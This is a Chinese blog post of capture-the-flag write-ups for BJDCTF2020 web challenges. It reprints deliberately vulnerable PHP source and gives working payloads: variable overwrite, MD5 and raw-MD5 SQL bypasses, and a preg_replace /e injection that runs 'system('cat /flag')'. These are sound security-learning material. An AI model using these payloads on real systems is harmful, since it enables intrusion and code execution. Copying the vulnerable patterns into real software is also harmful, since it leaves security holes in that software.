当前位置：首页 > news >正文

BJDCTF2020

news 2025/9/28 5:42:03

Mark loves cat

.git泄露拿到源码，但是我并没有拿到！纯考数学逻辑

<?phpinclude 'flag.php';$yds = "dog";
$is = "cat";
$handsome = 'yds';foreach($_POST as $x => $y){　　　　$$x = $y  ;  //post 声明至当前文件
}foreach($_GET as $x => $y){　　　 $$x = $$y;  //GET型变量重新赋值为当前文件变量中以其值为键名的值
}foreach($_GET as $x => $y){if($_GET['flag'] === $x && $x !== 'flag'){　 //传入的变量为flag   value不是flagexit($handsome);}
}if(!isset($_GET['flag']) && !isset($_POST['flag'])){  exit($yds);
}if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){   exit($is);
}echo "the flag is: ".$flag;

一开始的想法是绕过if，但是你会发现绕过不了，那么就是变量覆盖了，那么覆盖哪个呢？不可能是is，因为你一旦进入了第二个if，就意味着flag被污染了！

所以只要将$yds被$flag就好了，那么就有payload：

?yds=flag

Easy MD5

抓包发现hint:select * from 'admin' where password=md5($pass,true)

经典：ffifdyop这个绕过

<!--
$a = $GET['a'];
$b = $_GET['b'];if($a != $b && md5($a) == md5($b)){// wow, glzjin wants a girl friend.
-->

弱比较直接直接数组过

 <?php
error_reporting(0);
include "flag.php";highlight_file(__FILE__);if($_POST['param1']!==$_POST['param2']&&md5($_POST['param1'])===md5($_POST['param2'])){echo $flag;
}

依旧数组，eazy

The mystery of ip

一道ssti，当前文件一直读不出来，猜测是没有权限，但是flag在根目录

ZJCTF，不过如此

正常操作拿到next.php的源码

<?php
$id = $_GET['id'];
$_SESSION['id'] = $id;function complex($re, $str) {return preg_replace('/(' . $re . ')/ei','strtolower("\\1")',$str);
}foreach($_GET as $re => $str) {echo complex($re, $str). "\n";
}function getFlag(){@eval($_GET['cmd']);
}

/e参数表示将替换部分作为php代码执行，利用${}可变变量语法，会先执行括号内的，所以payload就是：?\S*=${getFlag()}&cmd=system('cat /flag');

[BJDCTF2020]EzPHP

这题贼有意思，单独发一篇！在这

[BJDCTF2020]EasySearch

index.php.swp有源码泄露

<?phpob_start();function get_hash(){$chars = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789!@#$%^&*()+-';$random = $chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)].$chars[mt_rand(0,73)];//Random 5 times$content = uniqid().$random;return sha1($content); }header("Content-Type: text/html;charset=utf-8");***if(isset($_POST['username']) and $_POST['username'] != '' ){$admin = '6d0bc1';if ( $admin == substr(md5($_POST['password']),0,6)) {echo "<script>alert('[+] Welcome to manage system')</script>";$file_shtml = "public/".get_hash().".shtml";$shtml = fopen($file_shtml, "w") or die("Unable to open file!");$text = '******<h1>Hello,'.$_POST['username'].'</h1>******';fwrite($shtml,$text);fclose($shtml);***echo "[!] Header  error ...";} else {echo "<script>alert('[!] Failed')</script>";}else{***}***
?>

看关键部分就好了，主要是个md5的比较，byae0这个就可以！然后登入进去没有信息抓个包看看